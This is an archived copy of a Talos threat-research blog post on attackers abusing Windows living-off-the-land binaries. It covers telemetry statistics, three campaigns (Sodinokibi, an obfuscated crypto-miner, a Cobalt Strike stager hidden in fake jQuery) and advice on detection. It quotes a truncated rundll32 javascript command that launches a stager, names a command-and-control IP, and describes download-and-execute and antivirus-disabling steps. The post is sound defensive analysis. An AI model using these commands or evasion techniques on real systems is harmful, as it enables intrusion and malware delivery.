{
	"id": "1f8c6de9-77a8-43bb-9e9c-7e8f33cfc119",
	"created_at": "2026-04-06T00:21:53.579676Z",
	"updated_at": "2026-04-10T03:20:03.289309Z",
	"deleted_at": null,
	"sha1_hash": "e0994ef565ea39ce4681b0619aedfcb40209df06",
	"title": "Hunting for LoLBins",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 786412,
	"plain_text": "Hunting for LoLBins\r\nBy Vanja Svajcer\r\nPublished: 2019-11-13 · Archived: 2026-04-05 14:43:52 UTC\r\nBy Vanja Svajcer.\r\nIntroduction Attackers' trends tend to come and go. But one popular technique we're seeing at\r\nthis time is the use of living-off-the-land binaries — or \"LoLBins\". LoLBins are used by different\r\nactors combined with fileless malware and legitimate cloud services to improve chances of staying\r\nundetected within an organisation, usually during post-exploitation attack phases.\r\nLiving-off-the-land tactics mean that attackers are using pre-installed tools to carry out their work. This makes it\r\nmore difficult for defenders to detect attacks and researchers to identify the attackers behind the campaign. In the\r\nattacks we're seeing, there are binaries supplied by the victim's operating system that are normally used for\r\nlegitimate purposes, but in these cases, are being abused by the attackers.\r\nIn this post, we will take a look at the use of LOLBins through the lense of Cisco's product telemetry. We'll also\r\nwalk through the most frequently abused Windows system binaries and measure their usage by analyzing data\r\nfrom Cisco AMP for Endpoints.\r\nYou'll also find an overview of a few recent campaigns we've seen using LoLBins, along with recommendations\r\nfor how to detect malicious LoLBins' activities.\r\nWhat are LoLBins A LoLBin is any binary supplied by the operating system that is normally used\r\nfor legitimate purposes but can also be abused by malicious actors. Several default system\r\nbinaries have unexpected side effects, which may allow attackers to hide their activities post-exploitation.\r\nThe concept of LoLBins is not new and isn't specific to Windows. Almost all conventional operating systems,\r\nstarting from the early DOS versions and Unix systems, contained executables that attackers could exploit.\r\nHere is an example from the mid 80s in which binary code to reboot the computer was supplied to the default\r\ndebug.com DOS debugger as text, designed to avoid detection by anti-malware scanners and run malicious code\r\nas intended.\r\nN SET.COM\r\nA 100\r\nMOV AX,0040\r\nMOV DS,AX\r\nMOV AX,1234\r\nMOV [0072],AX\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 1 of 11\n\nJMP F000:FFF0\r\nRCX\r\n10\r\nW\r\nQ\r\nIn their presentation at DerbyCon 3, Matthew Graeber and Christopher Campbell set the baseline for Windows, by\r\ndiscussing the advantages of using default Windows binaries to conduct red team activities and avoiding defensive\r\nmechanisms.\r\nIn this post, we also focus on Windows LoLBins and their usage today.\r\nOverall, attackers can use LoLBins to:\r\nDownload and install malicious code\r\nExecuting malicious code\r\nBypassing UAC\r\nBypassing application control such as (WDAC)  Attackers may be able to target other utilities that are\r\noften pre-installed by system manufacturers and may be discovered during reconnaissance. These\r\nexecutables can be signed utilities such as updaters, configuration programs and various third party drivers.\r\nThe usage of LoLBins has been frequently combined with legitimate cloud services such as GitHub, Pastebin,\r\nAmazon S3 storage and cloud drives such as Dropbox, Box and Google Drive. By using legitimate cloud services\r\nfor storage of malicious code, command and control (C2) infrastructure and data exfiltration attackers activities\r\nare more likely to remain undetected as the generated traffic does not differ from the traffic generated by systems\r\nthat are not compromised.\r\nTalos is mainly interested in finding executables that can be used to download or execute malicious code. In our\r\nresearch, we monitor daily execution patterns of the following executables to detect their abuse:\r\npowershell.exe\r\nbitsadmin.exe\r\ncertutil.exe\r\npsexec.exe\r\nwmic.exe\r\nmshta.exe\r\nmofcomp.exe\r\ncmstp.exe\r\nwindbg.exe\r\ncdb.exe\r\nmsbuild.exe\r\ncsc.exe\r\nregsvr32.exe\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 2 of 11\n\nAbusing PowerShell A primary suspect for malicious code download and in-memory execution in the recent\r\nperiod is PowerShell. Threat actors commonly use this command shell, which is built on the Windows\r\nmanagement and .NET frameworks. This powerful administration environment has a security policy that\r\ncan prevent the execution of untrusted code. Unfortunately, this policy can be easily circumvented with a\r\nsingle command line option.\r\nOne could argue that the execution of PowerShell with the option to bypass security policy should be outright\r\nblocked. However, there are a number of legitimate tools, such as Chocolatey package manager and some system\r\nmanagement tools that use the exact command line.\r\nPowerShell's code is not case-sensitive, and it will accept shortened versions of command-line options, as long as\r\nthe option isn't ambiguous. For example -EncodedCommand option, which accepts a Base64-encoded string as a\r\nparameter can also be invoked as -EncodedC or even -enc, which is commonly used by malicious actors.\r\nPopular malware like Sodinokibi and Gandcrab have used reflect DLL loaders in the past that allows attackers to\r\nload a dynamic library into process memory without using Windows API.\r\nThe Invoke-Obfuscation module is often used to create polymorphic obfuscated variants, which will not be\r\ndetected by antivirus programs and other defensive mechanisms.\r\nOver time, attackers have also realized the malicious potential of PowerShell, widening the number of executables\r\nused as LoLBins. Msbuild.exe and C# compiler csc.exe are some of the most frequently used by red teams. Both\r\nare frequently used to download, build and load malicious code that is built for that particular system and does not\r\nappear on any executable block list.\r\nMeasuring LoLBins usage We analyzed telemetry provided from Cisco AMP for Endpoints to measure how\r\noften LoLBins are abused. The telemetry, sent over a secure channel, contains names of invoked processes\r\nand cryptographic checksums of their file images which helps us with tracking file trajectories and building\r\nparent-child process relationships that can be used for hunting.\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 3 of 11\n\nAn example of a process retrospection graph in AMP telemetry.\r\nThe telemetry data is focused on detecting new attacks as they happen but it should also allow us to measure how\r\nmany potential LoLBin invocations are suspicious.\r\nWe looked at different LoLBins where the decision could be made quickly. In all cases, we're assuming the worst-case scenario and designated any invocation of the following processes with a URL as a parameter as suspicious:\r\nmshta.exe\r\ncertutil.exe\r\nbitsadmin.exe\r\nregsvr32.exe\r\npowershell.exe\r\nOur relaxed definition of suspicious process invocation means that it will also have a significant false-positive rate. For example, for PowerShell invocations with a URL in the command line, we estimate that\r\nonly 7 percent of the initially chosen calls should be checked in-depth and are likely to be malicious.\r\nWe obtain the percentage of suspicious calls by mining billions of daily data points and dividing the number of\r\ndetected suspicious calls with the overall number of calls. Overall, our worst-case scenario shows that at least 99.8\r\npercent of all LoLBins invocations are not worth further investigation.\r\nLoLBins and percentages of suspect invocations.\r\nWe then distilled down these potentially suspicious calls to find the ones that are likely to be malicious.\r\nOnce again, we will take PowerShell. The worst figure for potentially suspicious PowerShell process executions\r\nwas 0.2 percent. However, as mentioned before, only 7 percent of those actually require in-depth investigation,\r\nwhich brings the percentage down to 0.014 percent. Therefore, at least 99.986 percent of PowerShell invocations\r\nare legitimate.\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 4 of 11\n\nA simple rule of thumb for URLs that can be used to pinpoint calls that are more likely to be malicious is to look\r\nfor LoLBins invocation combined with:\r\nExternal numeric IP address\r\nAny .net TLD\r\nAny .eu TLD\r\nAny .ru TLD\r\nAny URL ending with an executable or image extension (e.g. .EXE, .LNK, .DLL, .JPG, .PNG etc.)\r\nAny reference to Pastebin.com and its clones\r\nAny reference to Github or any other source code repository sites\r\nRed teams' activities Although the majority of recorded suspicious calls belong to malicious actors, it is\r\nworth noting that red-team activities are also visible. Here, security teams and penetration testers are often\r\nusing adversarial simulation frameworks such as Red Canary Atomic tests to test the organizational\r\ndefenses against tools, techniques and processes as classified in the ATT\u0026CK knowledge base.\r\nSome red team tools are tailored to mimic the activity of popular tools such as Mimikatz. Here is an example of a\r\ntailor-made script hosted on GitHub to emulate the adversarial technique of using a reputable domain to store\r\nmalicious code.\r\nRed team members using fake Mimikatz module to test defenses.\r\nLoLBins actors' skill levels In this section, we'll describe three individual campaigns, showing\r\nusage of PowerShell combined with memory-only code from three different actors with different\r\nskill sets. These campaigns can be relatively easily detected by internal hunting teams by\r\nanalyzing command lines and their options.\r\nCase 1: Common ransomware The first case involves the Sodinokibi ransomware. Sodinokibi is a rather\r\ncommon ransomware that spreads by using standard methods like phishing and exploit kits, as well as\r\nexploiting vulnerabilities in web frameworks such as WebLogic.\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 5 of 11\n\nWe see from telemetry that PowerShell is launched with Invoke-Expression cmdlet evaluating code downloaded\r\nfrom a Pastebin web page using the Net.WebClient.DownloadString function, which downloads a web page as a\r\nstring and stores it in memory.\r\nInitial Sodinokibi PowerShell invocation.\r\nThe downloaded code is a reflective DLL loader with randomized function names to avoid simple pattern-based\r\ndetection engines. The ransomware payload is Base64-encoded and stored in the variable $PEBytes32. It is worth\r\nnoting that Base64 executable payloads can be instantly recognized by the initial two characters \"TV,\" which get\r\ndecoded into characters \"MZ\" for the start of DOS executable stub of a PE32+ executable file.\r\nReflective DLL loader loads Sodinokibi payload\r\nSodinokibi and Gandcrab are very common, but that does not mean that the actors behind them are not technically\r\nproficient. Although they use off-the-shelf techniques to spread and execute payloads, we can still estimate that\r\nthey have an intermediate skill level.\r\nCase 2: Intermediate miner Our second actor used the PowerShell ability to obfuscate code and deobfuscate\r\nseveral layers of obfuscation in memory before reaching the actual PowerShell script that installs and\r\nlaunches a cryptocurrency-mining payload.\r\nFirst invoke-obfuscation layer decoded The Invoke-Obfuscation module is often used for PowerShell obfuscation.\r\nApart from obfuscating the whole next layer script code, it also hides the invocation on Invoke-Expression (IEX)\r\ncmdlet. In this example, the $Env:COMSpec variable contains the string \"C:\\Windows\\System\\cmd.exe\" so that\r\njoined fourth, 15th and 25th character form the string \"iex.\"\r\nThis cryptocurrency miner had five deobfuscation stages and in the final one, the invocation of IEX was hidden by\r\ngetting the name of the variable MaximumDriveCount using \"gv\" (Get-Variable cmdlet) with the parameter\r\n\"*mdr*\" and choosing characters 3, 11 and 2 to form it.\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 6 of 11\n\nExtracting 'iex' from MaximumDriveCount\r\nThe downloaded PowerShell scripts contain the functionality to disable Windows Defender, Malwarebytes and\r\nSophos anti-malware software, to install modified XMRig cryptocurrency payload and download modules with\r\nthe intention to steal user credentials from memory and use the credentials to attempt to spread laterally by\r\npassing the hash (Invoke-TheHash) through SMB or WMI.\r\nDeobfuscated crypto-miner loader\r\nCase 3: Hiding Cobalt Strike in network trafficOur final case study shows the activities of a more advanced\r\nactor. The actor uses Cobalt Strike beacon for their post-exploitation activities with a PowerShell stager\r\ntaken from the Cobalt Strike framework.\r\nThe telemetry shows this attack launched by abusing rundll32.exe and the command line invoking JScript code to\r\ndownload a web page and launch the initial PowerShell stager.\r\nrundll32.exe javascript:\\\\..\\\\mshtml,RunHTMLApplication ;document.write();new%20ActiveXObject(WScript.Shell).Ru\r\nThe first PowerShell stage, webax.js, despite misleading filename extension, decompresses the second-stage\r\nPowerShell code that loads the first shellcode stage into memory and creates a specific request to download what\r\nseems like a standard jQuery JavaScript library.\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 7 of 11\n\nCobalt Strike PowerShell stager\r\nThe shellcode creates an HTTP GET request to the IP address 134.209.176.24, but with header fields that indicate\r\nthat the host we are looking for is code.jquery.com, the legitimate host serving jQuery. This technique seems to\r\nsuccessfully bypass some automated execution environments which in their analysis results show that the request\r\nwent to the legitimate host and not to the malicious IP address.\r\nHTTP header with the spoofed host field\r\nThe downloaded malicious jQuery starts with the actual jQuery code in the first 4,015 bytes, followed by the\r\nobfuscated Cobalt Strike beacon, which gets deobfuscated with a static XOR key and loaded into memory using\r\nreflective loading techniques.\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 8 of 11\n\nThe beginning and the end of malicious jQuery and Cobalt Strike payload\r\nThe malicious jQuery ends with 1,520 bytes of the actual jQuery code, presumably to avoid anti-malware\r\nscanners scanning the request top and tail.\r\nThis technique of hiding binary payload within jQuery library and evasion of malicious IP address detection\r\nshows that we are dealing with a more advanced actor, which takes their operational security seriously.\r\nOverall, we cannot pinpoint a single type of actor that focuses on using LoLBins. Although they may have been\r\nused only by more advanced actors, today they are also used by actors employing common malicious code such as\r\nransomware or cryptominers.\r\nDetecting and preventing LoLBins abuse The protection against abuse of LoLBins combined with\r\nfileless code is difficult for security controls that do not monitor process behavior. The abuse can\r\nbe detected based on the parent-child relationship of the launched processes as well as anomalies\r\nin network activity of processes that are not usually associated with network communication.\r\nOrganizations are advised to configure their systems for centralized logging where further analytics can be\r\nperformed by hunting teams. Since version 5, PowerShell can also be configured to log execution of all executed\r\ncode blocks to Windows event log. This allows members of security teams to understand obfuscated code which\r\nneeds to be deobfuscated before it is run. The execution of the deobfuscated code will be visible in Windows event\r\nlogs.\r\nHowever, the best possible protection is to deny the execution of LoLBins using mechanisms such as Windows\r\nDefender Application Control. Microsoft created a policy block file, which will block the execution of LoLBins\r\nnot required on protected systems.\r\nUnfortunately, blocking all LoLBins is not possible in most environments since they are also required by\r\nlegitimate processes.\r\nConclusion Our research shows that many types of actors are employing various techniques to use\r\nLoLBins in their activities, from commodity malware to more targeted attacks. However, the\r\noverall proportion of malicious usage is very low (below 0.2 percent), which is not enough to block\r\nall invocations of LoLBins.\r\nHowever, blue team members must keep LoLBins in mind while conducting regular hunting activities. If used\r\nsuccessfully, an attacker can use these to make their attacks more difficult to trace or make their malware linger\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 9 of 11\n\nfor longer on the victim machine.\r\nCoverage It is advisable to employ endpoint detection and response tools (EDR) such as Cisco\r\nAMP for Endpoints, which gives users the ability to track process invocation and inspect\r\nprocesses. Try AMP for free here.\r\nAdditional ways our customers can detect and block these threats are listed below.\r\nCisco Cloud Web Security (CWS) orWeb Security Appliance (WSA) web scanning prevents access to malicious\r\nwebsites and detects malware used in these attacks.\r\nEmail Security can block malicious emails sent by threat actors as part of their campaign.\r\nNetwork Security appliances such asNext-Generation Firewall (NGFW), Next-Generation Intrusion Prevention\r\nSystem (NGIPS), and Meraki MX can detect malicious activity associated with this threat.\r\nAMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.\r\nUmbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs,\r\nwhether users are on or off the corporate network.\r\nOpen Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack\r\navailable for purchase on Snort.org.\r\nIoCs\r\nSodinokibi dc3de6cff67f4bcb360d9fdd0fd5bd0d6afca0e1518171b8e364bb64c5446bb1\r\ndc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80\r\nCobalt strike stager 522b99b5314531af6658e01ab471e1a7e0a5aa3a6ec100671dcfa0a6b0a1f52d\r\n4c1a9ba633f739434cc81f23de9c6c1c12cdeacd985b96404a4c2bae2e54b0f5\r\nf09d5ca3dfc53c1a6b61227646241847c5621b55f72ca9284f85abf5d0f06d35\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 10 of 11\n\nSource: https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nhttps://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"references": [
		"https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html"
	],
	"report_names": [
		"hunting-for-lolbins.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434913,
	"ts_updated_at": 1775791203,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e0994ef565ea39ce4681b0619aedfcb40209df06.pdf",
		"text": "https://archive.orkl.eu/e0994ef565ea39ce4681b0619aedfcb40209df06.txt",
		"img": "https://archive.orkl.eu/e0994ef565ea39ce4681b0619aedfcb40209df06.jpg"
	}
}